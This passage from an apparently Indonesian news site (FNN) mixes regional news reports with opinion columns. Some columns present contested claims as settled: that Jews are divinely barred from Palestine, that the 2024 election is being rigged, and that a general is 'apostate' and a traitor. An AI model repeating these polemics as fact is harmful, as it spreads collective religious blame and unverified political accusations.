Israel. Pada dasarnya tanah itu adalah hak milik rakyat Palestina. Tanpa kerelaan rakyat Palestina, maka keberadaan Israel itu haram. Allah sudah membatalkan hak Yahudi atas tanah itu setelah menimpakan kepada mereka azab kedua. Allah menjatuhkan azab yang besar dua kali kepada bangsa Yahudi sebagai hukuman mereka sudah melakukan kerusakan di atas bumi. Quran menjelaskan hal itu di Surah Al Isra ayat 4 – 8. “Dan Kami tetapkan terhadap Bani Israil (Yahudi) dalam kitab itu, “Kamu pasti akan berbuat kerusakan di bumi ini dua kali dan pasti kamu akan menyombongkan diri dengan kesombongan yang besar.” (Quran: Al Isra 4). Pada azab pertama, negara Yahudi dihancurkan Kaisar Nebukadnezar dari Babilonia. Padahal Babilonia adalah sekutu kelompok Yahudi fasad pada waktu melawan Nabi Sulaiman. Negaranya dibakar, dihancurkan, penduduknya dijadikan budak. Azab yang kedua lebih parah lagi. Negara Yahudi diluluh-lantakkan oleh Romawi. Baitul Maqdis dijadikan rata dengan tanah. Penduduknya diusir hingga bercerai berai, nista dan tersebar di seluruh dunia. Setelah itu secara tegas Allah melarang mereka kembali. “Mudah-mudahan Tuhan kamu melimpahkan rahmat kepadamu. Tetapi jika kamu kembali, niscaya Kami pasti kembali (mengazabmu). Dan Kami jadikan neraka jahanam penjara bagi orang kafir.” (Quran: Al Isra 8). Aset Rakyat Afghanistan Demikian pula langkah Biden mengakhiri penjahan di Afghanistan semoga bukan semata-mata karena 20 tahun tidak bisa menang. Babak belur. Remuk redam. Melainkan ada niat baik untuk mengakhiri penjajahan. Untuk membuktikannya, Amerika harus segera mengemballikan aset rakyat Afghanistan yang dibekukannya. Bahkan seharusnya bertanggung jawab membantu rakyat Afghanistan bangkit. Bagaimanapun Amerika yang telah membuat Afghanistan compang-camping, dedel duel bagaikan daun dimangsa ulat. Jangan malah terus memusuhi Afghanistan. Mengggalang dunia untuk tidak mengakui rejim baru Afghanistan. Sebagai pemimpin golongan mufsidun global, insya Allah, Amerika termasuk dalam waiting list (daftar tunggu) azab Allah. Begitulah hukum Allah. Dan hukum Allah itu tetap di sepanjang zaman. Di Quran surah Hud, Al Haqah, sudah dijelaskan kehancuran bangsa-bangsa mufsidun seperti bangsanya Nabi Nuh, Luth, Hud, Syuaib, Shaleh, Firaun. Kisah di Quran itu bukan dongeng. Melainkan peringatan, pengajaran sepanjang jaman. “Dan tidak ada suatu negeri pun (yang durhaka penduduknya) melainkan Kami membinasakannya sebelum hari kiamat atau Kami siksa (penduduknya) dengan siksa yang sangat keras. Yang demikian itu telah tertulis di dalam Kitab (Lauh Mahfudz). (Quran: Al Isra 58). Sebagai warga dunia, saya berharap Biden mengambil tindakan didasarkan niat yang tulus. Menggunakan powernya untuk merealisasi apa yang diucapkan. Tapi jika ternyata hanya lipt service, abang-abang lambe, PHP, nggedabrus, ya sama saja dengan presiden-presiden Amerika sebelumnya. Minimal presiden yang oleh Noam Chomsky disebut pelaku kriminal alias penjahat. Jika begitu ya tunggu saja akhir sejarah imperium Amerika. “Dan tunggulah, sesungguhnya kami pun termasuk yang menunggu.” (Quran: Hud 122). Semoga Allah memberikan rahmat dari sisi-Nya kepada Biden. Astaghfirullah. Rabbi a’lam. Mohon dengan hormat telitilah tulisan ini. Jangan langsung like and share. Ini era disinformasi di mana informasi dapat menggelapkan hati manusia. Bahkan dapat menghancurkan suatu bangsa. Begitulah amanat Quran surah Al Hujurat 6. Veteran wartawan dan Penulis tinggal di Sidoarjo

Pemprov Babel Gencarkan Sosialisasi Gerakan Reformasi Birokrasi

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung (Pemprov Babel) menggencarkan sosialisasi gerakan reformasi birokrasi nasional, guna mewujudkan sistem penyelenggaraan pemerintahan di Indonesia yang bebas dan bersih dari korupsi, kolusi, dan nepotisme (KKN). "Kami berkomitmen dan mendukung penuh gerakan reformasi birokrasi ini," kata Sekretaris Daerah Pemprov Kepulauan Babel Naziarto saat mengikuti Seminar Nasional Gerakan Reformasi Birokrasi secara virtual, di Pangkalpinang, Rabu. Ia mengatakan Pemprov Kepulauan Babel dalam hal ini menyadari bahwa reformasi birokrasi menjadi gerbang menuju penyelenggaraan pemerintahan yang bersih, transparan, akuntabel, dan bertanggung jawab. "Ini selaras dengan visi misi Gubernur Kepulauan Babel Erzaldi Rosman Djohan dalam mencegah KKN di lingkungan pemerintah provinsi ini," katanya pula. Pada seminar nasional dengan tema "Penguatan Sistem Merit Menuju Birokrasi Kelas Dunia Tahun 2024" diikuti berbagai unsur pemerintah, termasuk di antaranya lembaga negara, kementerian, pemerintah daerah, sekretaris jenderal, sekretaris menteri dan sekretaris utama, sekda provinsi, sekda kabupaten dan sekda kota se-Indonesia. Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Tjahjo Kumolo dalam sambutannya mengatakan bahwa gagasan mengenai konsep reformasi birokrasi dilatarbelakangi oleh krisis multidimensi yang melanda Indonesia pada tahun 1997 yang diawali dengan jatuhnya perekonomian nasional sekaligus pemicu bagi Indonesia untuk melakukan pembenahan di semua bidang. "Reformasi birokrasi yang diinginkan Presiden Jokowi adalah bagaimana memangkas birokrasi yang panjang menjadi efektif dan efisien, mempercepat proses perizinan, dan mempercepat proses pelayanan masyarakat. Hal ini kemudian berkembang dengan dirumuskannya Undang-Undang Cipta Kerja dan membangun sebuah format birokrasi yang diharapkan," katanya. Ia menjelaskan ada lima prioritas kerja Presiden Jokowi 2019-2024 yaitu pembangunan SDM, pembangunan infrastruktur, simplifikasi regulasi, penyederhanaan birokrasi, dan transformasi ekonomi. "Birokrasi adalah lehernya pemerintahan, sehingga merupakan bagian penting yang ingin diwujudkan Bapak Presiden Jokowi," katanya pula. (sws)

Wapres: Ancaman Perdamaian Dunia Tidak Hanya Bersifat Militer

Jakarta, FNN - Wakil Presiden (Wapres) Ma’ruf Amin mengingatkan ancaman terhadap perdamaian dan keamanan dunia saat ini tidak hanya bersifat militer, melainkan dapat berupa kelalaian korporasi terhadap keberlangsungan hidup para pekerjanya. Wapres Ma’ruf melalui rekaman video dalam acara The 5th International Conference on Law and Justice (ICLJ) dengan tema Sharia, Law and Sustainability in the New Normal yang diselenggarakan Universitas Islam Negeri Syarif Hidayatullah Jakarta, Rabu, menyatakan akhir-akhir ini ancaman terhadap perdamaian dan keamanan dunia tidak hanya bersifat militer. "Ancaman juga dapat ditimbulkan oleh korporasi dan bisnis yang tidak memperhatikan kerusakan lingkungan dan kehidupan masyarakat, khususnya para pekerjanya," kata Wapres Ma’ruf Amin. Kelalaian korporasi yang merugikan para pekerjanya tersebut, antara lain terjadi pada 2013 yaitu insiden runtuhnya Rana Plaza di Dhaka, Bangladesh yang menewaskan sedikitnya 1.132 orang, kata Wapres. Gedung Rana Plaza di Dhaka merupakan kompleks pabrik, bank, apartemen dan toko, dimana sehari sebelum kejadian telah diberikan peringatan karena ada retakan di gedung tersebut. Namun, beberapa pengusaha tak menghiraukan peringatan tersebut dan tetap membuka pabrik, sehingga para pekerja menjadi korban. "Peristiwa ini menggambarkan pihak korporasi tidak memperhatikan keselamatan para pekerjanya dan tidak bertanggung jawab terhadap perlindungan mereka," ujar Wapres. Oleh karena itu, Wapres mendorong para pengusaha untuk memberlakukan konsep kerja sesuai prinsip syariah, dengan benar-benar menjamin keselamatan para pekerja. "Hal ini menunjukkan perlunya kerangka kerja yang menjamin keselamatan para pekerja, sesuai dengan semangat maqashid syariah," katanya lagi. Prinsip-prinsip syariah tersebut setidaknya merangkum lima hal penting, yakni memelihara agama, memelihara jiwa, memelihara akal, memelihara keturunan, dan memelihara harta, ujar Wapres Ma'ruf Amin. (sws)

PON Papua - Karateka Petugas Lapas Makassar Raih Medali Perak

Makassar, FNN - Atlet Karateka, sekaligus petugas Lembaga Pemasyarakaran (Lapas) Makassar, Zesar Idrus Santosa, yang ikut dalam kontingen asal Sulawesi Selatan, berhasil menyumbangkan medali perak pada cabang olahraga karate komite -75 kilogram pada Pekan Olahraga Nasional (PON) XX di Papua 2021. "Terima kasih atas doa dan dukungan dari Kepala Kantor Wilayah Kemenkumham Sulsel serta Kepala Lapas Makassar Kelas I Makassar dan jajaran sehingga saya bisa meraih medali," kata Zesar saat menyampaikan pesannya yang diterima di Makassar, Rabu. Meraih medali tersebut, kata Zesar tidaklah mudah, butuh perjuangan keras dan tekad untuk bisa menang, hanya saja harapan membawa pulang medali emas, belum terwujud, tapi dia tetap semangat walau itu medali perak. "Sekali lagi diucapkan terima kasih atas doa dan dukungan semuanya, maaf saya hanya dapat membawa pulang medali perak, sekali lagi terima kasih," katanya. Sebelumnya, pertarungan pembuka pada babak pertama, Zesar yang berhadapan dengan atlet karate asal Provinsi Riau berhasil memenangkan pertandingan dengan skor 6-1. Kemenangan itu akhirnya membawa Zesar melaju ke babak semi final dengan bertarung melawan atlet asal Provinsi DKI Jakarta, hingga kembali memenangkan pertandingan dengan skor 1-0 dan mengantarkannya ke babak final. Di partai final, Zesar yang bertanding melawan atlet asal Provinsi Jawa Timur berusaha mencetak angka dalam mengimbangi lawannya. Namun, diakhir pertarungan itu, Zesar harus puas merelakan keunggulan karateka asal Jatim dengan skor 0-8. Kendati untuk karateka putra hanya menyumbang medali perak, namun hasil positif dari kontingen karate nomor kata beregu putra asal Sulsel berhasil meraih medali emas. Begitupun karateka Krisda Putri Aprilia berhasil memboyong medali emas, dari nomor kata perorangan putri di PON XX Papua. Krisda Putri Aprilia berhasil meraih medali emas disusul karateka Jawa Timur Sisilia Agustiani Ora meraih medali perak dan medali perunggu diraih oleh karateka Banten Marzella Sekar Damayanti dan karateka Sulawesi Tengah Yuningsih Christian Masoara. (sws)

Pemprov Babel Bentuk Tim Pencegah Korupsi Terintegrasi

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung (Pemprov Babel) membentuk pencegahan korupsi terintegrasi 2021 sebagai tindak lanjut arahan Komisi Pemberantasan Korupsi (KPK) dalam mewujudkan pemerintahan bersih dan bebas korupsi. "Segera kami bentuk tim untuk menindaklanjuti arahan dari Koordinasi Supervisi Pencegahan (Korsupgah) KPK," kata Gubernur Kepulauan Babel Erzaldi Rosman Djohan, di Pangkalpinang, Rabu. Ia menegaskan ada beberapa hal yang menjadi catatan rekomendasi, harus segera diberikan perhatian penuh dan segera ditindaklanjuti oleh seluruh perangkat daerah dalam mencegah korupsi terintegrasi di lingkungan pemerintah provinsi ini, di antaranya capaian program Monitoring Center of Prevention (MCP) yang masih rendah. Selain itu, perencanaan dan penganggaran Anggaran Pendapatan dan Belanja Daerah (APBD), pengadaan barang dan jasa, pelayan terpadu satu pintu, kapabilitas Aparat Pengawas Internal Pemerintah (APIP), manajemen Aparatur Sipil Negara (ASN), optimalisasi pajak daerah, dan manajemen aset daerah. "Saya minta tim pelaksana rencana aksi ini untuk segera mengumpulkan data pendukung MCP, agar pelaksanaan sesuai dengan rencana," katanya. Ia meminta Sekda Naziarto untuk mengkoordinir dan mengawasi apa yang sudah menjadi ketetapan bersama. "Kalau ada kegiatan yang bersifat membutuhkan konsolidasi dan sinergisitas, Pak Sekda langsung yang mengambil alih," ujarnya pula. Wakil Gubernur Kepulauan Babel Abdul Fatah menegaskan bahwa tujuh area yang menjadi fokus MCP dan harus segera ditindaklanjuti oleh seluruh perangkat daerah. "Capaian MCP 2020 memiliki progres yang cukup baik, yakni 75 persen. Namun, pada pada Oktober 2021 belum mencapai target. Oleh karenanya, ia meminta untuk mempercepat melakukan verifikasi dan pengunggahan data yang yang dibutuhkan," ujarnya lagi. (sws)

PON Papua - Atlet Angkat Berat Sumbar Situtu Lamdoras Raih Perunggu

Merauke, FNN- Atlet cabang olahraga Angkat Berat Sumatera Barat Situtu Lamdoras meraih medali perunggu untuk kontingen "Tuah Sakato" di nomor 83 kilogram PON XX Papua yang digelar di Universitas Cendrawasih(Uncen) Kota Jayapura. Kabid Binpres KONI Sumbar Jasman Heri melalui keterangan tertulis di Merauke mengatakan pihaknya mensyukuri capaian tersebut dan berterima kasih atas kerja keras yang telah dicapai lifter tersebut. Ia mengatakan Lamdoras mempunyai total angkatan 775 kilogram berada di bawah Hendri asal Riau yang mencapai 797,5 kilogram dan berhak atas medali perak. Sementra peraih medali emas adalah lifter Lampung Sujanto Robi dengan total angkatan 830 kilogram. Sejak awal, keperkasaan dua lifter itu memang sulit disusul lima lifter lain yang bermain. Sumbar sendiri, selain menurunkan Lamdoras, juga memainkan Edwin Purnama F.Yosef. Kemudian pada angkatan Squat, Sujanto dan Hendri sudah unggul dari pesaingnya yang lain, termasuk pada angkatan B.Press dan D.Lift. Hasil ini memang sudah diprediksi sejak awal. Sujanto memang tercatat punya angkatan yang lebih baik dibanding para pesaingnya dan berhasil menggondol medali emas untuk Lampung. (sws)

Polres Tanimbar Ungkap Kasus Main Hakim Sendiri Tangkap Tiga Pelaku

Ambon, FNN - Kepolisian Resor (Polres) Kepulauan Tanimbar, Provinsi Maluku mengungkap kasus pembunuhan akibat main hakim sendiri terhadap warga yang diduga mencuri sepeda motor, dan meringkus tiga tersangka. "Tiga pelaku yang sudah ditetapkan sebagai tersangka, yakni EM alias Cau, BW alias Boni, dan DJN alias Dolvys, dan ditahan di Rumah Tahanan Mapolres Tanimbar. Mereka dijerat Pasal 170 ayat (2) ke-3 dan atau Pasal 351 ayat (3) jo Pasal 55 ayat (1) ke-1 KUHP," kata Kapolres Kepulauan Tanimbar AKBP Romi Agusriansyah, dalam keterangan yang diterima di Ambon, Rabu. Main hakim sendiri adalah tindakan kesewenang-wenangan individu atau sekelompok orang dengan melakukan kekerasan terhadap orang yang diduga melakukan tindak pidana tanpa melewati proses hukum. Romi menjelaskan tiga orang tersebut adalah tersangka pelaku penganiayaan yang menyebabkan seorang warga bernama Paternus Angwarmas hingga kehilangan nyawa. Menurut dia, korban diduga dianiaya karena ketahuan mencuri satu unit sepeda motor. Kasus kekerasan bersama yang menyebabkan matinya orang itu terjadi di depan rumah tersangka EM alias Cau, Desa Lauran, Kecamatan Tansel, Kabupaten Kepulauan Tanimbar pada 11 Oktober, sekitar pukul 07.00 WIT. Dari hasil visum et repertum atas pemeriksaan korban disimpulkan bahwa ditemukan beberapa luka lecet, luka robek, luka lebam/memar akibat kekerasan benda tumpul. Ia menambahkan korban merupakan residivis dua kali dalam perkara pencurian yakni pada tahun 2017 dan pada tahun 2018. Pengeroyokan hingga menyebabkan korban tewas, kata Romi, berawal saat motor Honda Revo Fit milik Pius Bulurdity hilang di parkiran rumah di Desa Sifnana, Kecamatan Tansel sekitar pukul 04.30 WIT. Kejadian itu lalu diberitahukan kepada adiknya Silvester Bulurdity. Silvester kemudian melakukan pencarian terhadap motor berwarna hitam lis hijau tersebut di sejumlah bengkel yang ada di sekitar desa Sifnana. Ia menjelaskan, saat melakukan pencarian, Silvester bertemu istri kakaknya yang sedang menyapu jalan di dekat tugu selamat datang. Oleh kakak iparnya, ia menyampaikan kalau dirinya sempat melihat motor suaminya ini baru saja melintas dan mengarah ke Desa Lauran. "Saat melakukan pencarian di kawasan Desa Lauran, saksi melihat motor kakaknya yang hilang sedang terparkir di bengkel bapak Ongen," kata Kapolres. Saat itu, Silvester melihat korban (Paternus Angwarmas) sedang berdiri di samping motor tersebut. Saat itu korban berdiri dengan posisi menghadap ke arah Selatan. Di bengkel itu juga terdapat tersangka BW alias Boni. "Tersangka BW bekerja di bengkel itu dan baru saja akan membuka bengkel tersebut bersama temannya yang bernama Isak Rurume alias Caken," katanya pula. Melihat hal itu, Silvester kemudian menghampiri motor milik kakaknya yang sebelumnya hilang. Saat mendekat, Silvester menanyakan korban siapa yang membawa motor itu. "Saat ditanya, korban menjawab bahwa yang membawa motor itu sementara mencari makan sambil menunjuk ke arah utara yang kemudian saudara Silvester meminta korban menemaninya mencari orang yang dimaksudkan oleh korban itu," ujarnya. Saat meminta tolong, korban dan Silvester kemudian bertemu tersangka EM yang sedang bekerja memperbaiki jembatan kecil di depan rumahnya. "Kemudian saudara Silvester bertanya kepada tersangka apakah melihat ciri-ciri orang yang sempat dijelaskan oleh korban bahwa mengenakan baju biru namun tersangka mengatakan tidak melihat orang yang dimaksudkan," katanya. Menurut Romi, saat itu korban terus mengajak Silvester agar kembali melakukan pencarian terhadap orang yang dimaksudkannya tersebut. "Namun Silvester menolaknya dan memilih kembali ke bengkel dengan alasan yang penting motornya sudah ditemukan," ujarnya. Dalam perjalanan kembali ke bengkel tiba-tiba tersangka EM merasa curiga dengan korban. Ia lalu memanggil saksi Silvester untuk menanyakan identitas korban. Sebab, tersangka mengaku baru pernah melihat wajah korban di sini. "Saat tersangka memanggil saksi Silvester, korban mendengar dan kemudian menghampiri tersangka. Lalu tersangka menanyakan korban sejak kapan kerja di bengkel dan dijawab oleh korban bahwa dia baru saja kerja sehari," ucapnya. Usai ditanya tersangka, korban kemudian berjalan pergi. Ia tidak menuju bengkel melainkan berjalan ke arah berlawanan menuju arah Timur. Di saat bersamaan, saksi Silvester ditanya oleh Caken, saudara tersangka EM. Saksi menjelaskan kalau dirinya sedang mencari orang yang membawa motor kakaknya tersebut. Mendengar penjelasan Silvester, Caken lalu mengatakan kalau yang membawa motor itu adalah korban. Saat itu saksi juga merasa yakin dengan jawaban Caken tersebut. Ia kemudian kembali ke bengkel tersangka EM untuk menanyakan keberadaan korban. "Saat kembali ke tempat tersangka EM, saksi menanyakan keberadaan korban dan ditunjukkan arah perginya korban dan saat itu saksi mengatakan kepada tersangka kalau korban lah yang telah mencuri motor kakaknya itu," ungkapnya. Mendengar pengakuan saksi Silvester, tersangka merasa kesal, karena telah dibohongi oleh korban. Ia lalu mencari keberadaan korban. Atas petunjuk Feky, tersangka lalu menemukan korban dan memanggilnya. Saat dipanggil tersangka, korban langsung melarikan diri. Tersangka mengejarnya dan berhasil menangkap korban yang terjatuh saat mencoba melarikan diri. Korban yang tak bisa melawan terus dibawa dan bertemu dengan tersangka lainnya yaitu BW alias Boni. EM lalu menyerahkan korban kepada BW. "Saat itu tersangka Boni tampar korban satu kali, sementara tersangka EM memukul rusuk kiri korban satu kali, dan selanjutnya tersangka Boni membawa korban diikuti oleh EM," katanya. Melihat korban sedang diamankan oleh EM dan BW, tersangka lainnya yaitu DJN alias Dolvys berjalan di depan mereka. Ketiga tersangka lalu melakukan penganiayaan terhadap korban. "Korban dianiaya dengan cara memukul bagian kepala belakang, wajah, bagian rusuk dan juga ada yang menendang kaki korban sehingga korban sempat terjatuh dengan posisi berlutut hingga tidak sadarkan diri," katanya lagi. Saat itu, lanjut Kapolres Romi, saksi Silvester datang bersama motor milik kakaknya yang sebelumnya hilang tersebut. Ia melihat korban pingsan dan menawarkan untuk membawanya ke Rumah Sakit guna mendapat pertolongan. "Saat itu, saksi Silvester dan tersangka Boni membawa korban ke puskesmas Saumlaki, sesampainya di Puskesmas Saumlaki, saksi Silvester mengaku masih melihat korban bernapas. Namun setelah berada di ruang UGD, pihak medis yang melakukan pemeriksaan kemudian menyatakan kalau korban sudah meninggal dunia,” ungkapnya. (sws)

Rekayasa Jahat untuk Pilpres 2024

By M Rizal Fadillah MESKI terlalu dini berbicara Pilpres 2024 namun gejala Pilpres 2024 sarat rekayasa sudah terbaca. Kepentingan dominan Istana sangat terasa. Di tengah wacana perpanjangan masa jabatan Presiden tiga periode melalui amandemen UUD 1945 atau perpanjangan masa jabatan hingga tahun 2027 dengan alasan pandemi, skenario Pilpres 2024 juga disiapkan. Istana berjuang untuk tetap "berkuasa". Pertama, Presidential Treshold 20 % adalah awal untuk mempertahankan kekuasaan kubu status quo. Meski aneh dan dibuat-buat namun Presidential Treshold 20 % itu efektif untuk menjaga kemapanan kekuasaan oligarkhi. Dengan minim pasangan dalam kompetisi maka lebih mudah cukong untuk bermain dengan kecurangan yang sistematik dan terproteksi. Kedua, banyaknya Kepala Daerah yang habis masa jabatan pada tahun 2022 lalu ditetapkan Penjabat Kepala Daerah baik Propinsi maupun Kota/Kabupaten membuat tangan Presiden, melalui Mendagri, lebih leluasa menjangkau para Gubernur atau Walikota/Bupati "tunjukan" tersebut. Kepala Daerah strategis untuk penggiringan suara Daerah. Ketiga, Ketua Tim Seleksi KPU adalah mantan Tim Sukses pasangan Jokowi-Ma'ruf Amin. Meskipun Tim Seleksi formalnya bersifat kolektif akan tetapi prakteknya Ketua Tim memiliki posisi menentukan. Sebagaimana KPU terdahulu, kekhawatiran terbentuk KPU kardus menjadi sangat beralasan. KPU yang bukan menjadi wasit tetapi pemain lapangan. Bahkan penendang bola dari titik kotak penalti. Licik. Keempat, di ruang hukum pembungkaman tokoh kharismatik HRS berlanjut, kasus RS UMMI menjadi sarana untuk memborgol HRS agar tidak dapat berbuat banyak dalam menggalang solidaritas dan soliditas umat. Ruang untuk dapat meneriakkan takbir perlawanan kepada rezim yang dinilai zalim menjadi terbatas. Kelima, UU MK yang telah mengubah masa jabatan Hakim MK menjadi 15 tahun bukan tanpa maksud politik. 8 Hakim MK saat ini akan menjadi Hakim yang mengadili sengketa Pilpres 2024. Bahkan ada Hakim yang dapat menjabat hingga tahun 2034. Sebagaimana diketahui reputasi Hakim MK saat mengadili Pilpres 2019 ternyata sangat buruk. Rupanya "Tim Sukses" saat Pilpres 2019 harus tetap dipertahankan karena mungkin dinilai berpengalaman dalam bermain. Mengingat bau rekayasa ini, maka bukan mustahil tahun 2024 akan menjadi Pemilu paling brutal dan curang baik pada Pilpres maupun Pileg. Pilkada akan menyusul untuk mengemas tuntas skim politik rekayasa tersebut. Rezim Neo Demokrasi Terpimpin memang jahat dan mengkhawatirkan. *) Pemerhati Politik dan Kebangsaan

Pembicaraan AS-Taliban Tentang Bantuan Kemanusiaan 'Berbobot'

Washington, FNN - Pembicaraan antara Amerika Serikat dan Taliban mengenai isu bantuan kemanusiaan untuk Afghanistan saat pertemuan di Qatar selama akhir pekan "berbobot", kata juru bicara Departemen Luar Negeri Ned Price pada Selasa (12/10). Ia menggambarkan pembicaraan antara kedua pihak "sangat positif". Selama pertemuan dua hari antara perwakilan Taliban dan pejabat AS, para pejabat membahas akses bantuan kemanusiaan. Pembicaraan itu diikuti oleh antara lain sejumlah komunitas intelijen dan Lembaga Pembangunan Internasional AS. Menurut Price, pembicaraan itu berfokus pada isu keamanan dan terorisme, HAM, serta soal perjalanan yang aman bagi warga asing maupun para warga Afghanistan sekutu AS untuk meninggalkan negara tersebut Washington berulang kali menyeru penguasa baru Afghanistan agar membuktikan penghormatan terhadap HAM, termasuk hak kaum perempuan dan anak perempuan, supaya mendapatkan legitimasi internasional. "Delegasi menjelaskan, seperti yang telah kami sampaikan secara konsisten, bahwa pada akhirnya Taliban akan dinilai tidak hanya melalui kata-katanya tetapi juga melalui tindakannya," kata Price. Pertemuan terpisah dengan perwakilan Taliban yang menyertakan pejabat Uni Eropa serta pejabat AS berlangsung pada Selasa, katanya. Semenjak Taliban mengambil alih kekuasaan pada Agustus, pemerintah AS membekukan bantuan bilateral untuk Afghanistan. Namun, AS mengatakan masih menyediakan bantuan melalui LSM. Muncul seruan agar cadangan pemerintah yang ditahan di AS bisa diakses oleh pemerintah baru pimpinan Taliban guna meredakan krisis kemanusiaan yang semakin berkembang. (sws) Sumber: Reuters

Meluruskan Pemikiran Agus Widjojo

WAJAR terjadi reaksi yang sangat keras dari banyak kalangan atas pernyataan Letjen Purn TNI Agus Wijoyo yang saat ini menjabat sebagai Gubernur Lemhannas RI ke 8 tahun. Tidak terlalu dijelaskan, apakah pernyataan jenderal bintang tiga yang satu angkatan dengan Luhut Binsar Panjaitan ini (angkatan ‘70) adalah pernyataan hasil pikiran pribadi atau sudah menjadi kebijakan resmi Lemhannas RI sebagai lembaga negara. Kalau itu kebijakan resmi institusi, tentu publik khususnya DPR, akademisi, dan keluarga besar TNI bertanya-tanya, sejak kapan doktrin utama TNI manunggal bersama rakyat ini berubah? Apa dasar kajian akademisnya? Secara konstitusi, dan UU Pertahanan, baik pasal 30 UUD 1945 dan UU nomor 3 tentang Pertahanan, termasuk juga UU nomor 34 Tahun 2004 tentang Tupoksi TNI, masih dengan tegas tertulis bahwa : Jatidiri TNI adalah sebagai Tentara Rakyat (BAB II, poin 1 UU nomor 34 tahun 2004 Tentang Tupoksi TNI). TNI sebagai komponen utama alat pertahanan negara (UU nomor 3 Tahun 2002), juga menyatakan bahwa TNI menganut sistem pertahanan rakyat semesta (Sishankamrata), dimana apabila terjadi ancaman baik dari dalam dan luar negeri, maka TNI bersama rakyat bersatu padu, menggunakan semua potensi sumber daya nasional yang ada maupun buatan untuk melakukan perlawanan serentak. Ini sesuai dengan amanat UUD 1945 pasal 30 tentang kewajiban bela negara bagi setiap penduduk dan seluruh rakyat Indonesia. Secara hakikat ancaman, yang termaktub di dalam buku putih pertahanan nasional Indonesia, baik itu ancaman nyata dan tidak nyata, ancaman yang ada dan yang akan ada, sampai dengan penggolongan jenis ancaman mulai dari ancaman symetris (fisik), ancaman asymetris (non-fisik), dan ancaman hybrida (gabungan fisik dan non-fisik), sebagai negara yang begitu luas dan heterogen tentu dibutuhkan sebuah sistem pertahanan yang tangguh, handal, efektif, terintegrasi dan berkesinambungan. Makanya, berdasarkan sejarah historikal, pengalaman, dan filosofis suasana kejiwaan masyarakat Indonesia yang majemuk, para senior pendahulu Tentara Nasional Indonesia mulai dari era Panglima Besar Jendral Soedirman, Gatot Subroto, Jendral AH Nasution, dan Soeharto, menjadikan konsep Kemanunggalan TNI ini sebagai doktrin utama yang wajib diimplementasikan. Sehingga secara personal, kemanunggalan TNI bersama rakyat ini termaktub dalam sumpah Sapta Marga Parjurit TNI dan Delapan Wajib TNI. dimana secara implementasinya, konsep Sishankamrata ini direalisasikan dalam bentuk gelar kekuatan TNI melalui pembinaan Teritorial secara berjenjang mulai dari Kodam, Korem, Kodim, Koramil, dan Babinsa sebagai ujung tombak TNI di tengah masyarakat. Dengan hadirnya TNI di tengah masyarakat berupa pembinaan teritorial inilah, akan menjadi kekuatan pertama daya tangkal TNI dalam pertahanan dan keamanan nasional mengatasi ATHG (Ancaman, Tantangan, Hambatan, dan Gangguan), sesuai dengan pasal 6 UU nomor 34 Tahun 2004 tentang Tupoksi TNI. Artinya, kemanunggalan TNI bersama rakyat ini adalah ruh dan napas kekuatan utama TNI. Kemanunggalan TNI bersama rakyat dimana Sapta Marga dan Delapan Wajib TNI secara teologis boleh dikatakan “Akidah Dasar” seorang prajurit TNI, yang juga dijamin oleh konstitusi UUD 1945 sebagai dasar hukum tertinggi di negara Republik Indonesia. Jadi apabila ada orang, personal, prajurit TNI baik itu yang masih aktif maupun sudah purna tugas, menafikan itu semua, maka sangat perlu dipertanyakan apa motif dan agendanya terhadap bangsa dan negara ini, khususnya TNI. Komentar Agus Widjojo (selanjutnya kita sebut AW), boleh dikatakan sangat salah kaprah, sesat pikir, atau lebih ekstrimnya lagi bisa dikatakan “murtad “ secara akidah dan doktrin TNI. Setelah ditelusuri, ternyata AW sejak masa dinasnya selalu getol menyuarakan bagaimana menghapuskan KoTer (komando teritorial) TNI AD ini dengan berbagai macam alasan. Pernah juga AW melemparkan isu kontroversial “rekonsiliasi dengan keluarga PKI”, dan sekarang mengatakan bahwa adalah salah pemahaman dan tidak ada istilah doktrin TNI manunggal bersama rakyat. Parahnya lagi mengatakan rakyat adalah milik Presiden. TNI juga adalah milik Presiden dengan alasan Presiden dipilih rakyat dan Indonesia adalah negara demokrasi. Anggota DPR Fadli Zon dan pengamat politik dari Universitas Al Azhar sampai menganalisa ada semacam agenda terselubung atau “doktrin licik” yang mau AW paksakan untuk tujuan politik tertentu. AW menggunakan posisi dan jabatannya sebagai Gubernur Lemhannas RI, untuk menjustifikasi pikiran dan doktrin baru yang mau dia ciptakan. Walaupun itu sangat bertentangan dengan akidah doktrin TNI. Pemahaman AW ini sangat berbahaya bagi keutuhan NKRI khususnya bagi TNI. Karena kemanunggalan TNI bersama rakyat ibarat tonggak utama sistem pertahanan negara kita. Lalu tonggak ini yang mau AW robohkan dan hapuskan. Ke mana arah pikiran dan agenda AW ini bagi yang paham sudah akan tahu mau ke mana. Makanya wajar juga, sampai ada keluarga besar TNI yang mengatakan, pemahaman AW ini bisa di kategorikan sebagai ancaman ideologis dan ancaman struktural yang sangat berbahaya bagi kedaulatan dan pertahanan negara kita. AW harus segera menjelaskan kepada publik apa dasar pemikiran dan ucapannya itu di acara mata najwa. Apakah itu ungkapan pribadi atau institusi? Kita juga berharap, Presiden, Menkopolhukam, Menhan, dan Panglima TNI juga melakukan evaluasi dan konfirmasi terhadap AW. Kalau perlu copot terlebih dahulu dari jabatannya untuk memudahkan proses penyelidikan seperti yang dialami Brigjen Junior Tumilaar. Statemen AW sungguh sangat disayangkan, dan menyakitkan bagi keluarga besar TNI. Alasan reformasi TNI bukan berarti jadi alasan untuk merusak akidah dan doktrin utama TNI. Itu namanya khianat dan murtad. Kemanunggalan TNI bersama rakyat adalah amanat suci dari para pendahulu kita yang telah mengorbankan seluruh jiwa dan raganya untuk bangsa ini. Karena kemanunggalan TNI dan rakyat inilah negara ini bisa berdiri dan berhasil memadamkan berbagai bentuk pemberontakan, dan melakukan cegah dini, tangkal dini, terhadap berbagai bentuk ancaman. Lalu, mau diubah begitu saja oleh seorang AW? Atau AW sebenarnya juga hanya sebagai corong semata? Atau AW hanya melakukan “testing by water” terhadap soliditas TNI? Karena lagi rame-rame mau pemilihan Panglima TNI dan penunjukan jabatan Kepala staf yang baru? Kita semua tidak tahu sampai AW dengan gentleman menjelaskan maksud ucapannya kepada publik. Dan kita juga tidak bisa menyalahkan anggapan liar dan penuh curiga terhadap AW yang kontroversial. Biarkan waktu yang menjawabnya. Yang jelas, TNI berada di bawah asas supremasi sipil sebagai amanah reformasi kita sudah sepakat meskipun masih perlu evaluasi. Pemahaman politik TNI adalah politik negara yang tunduk pada 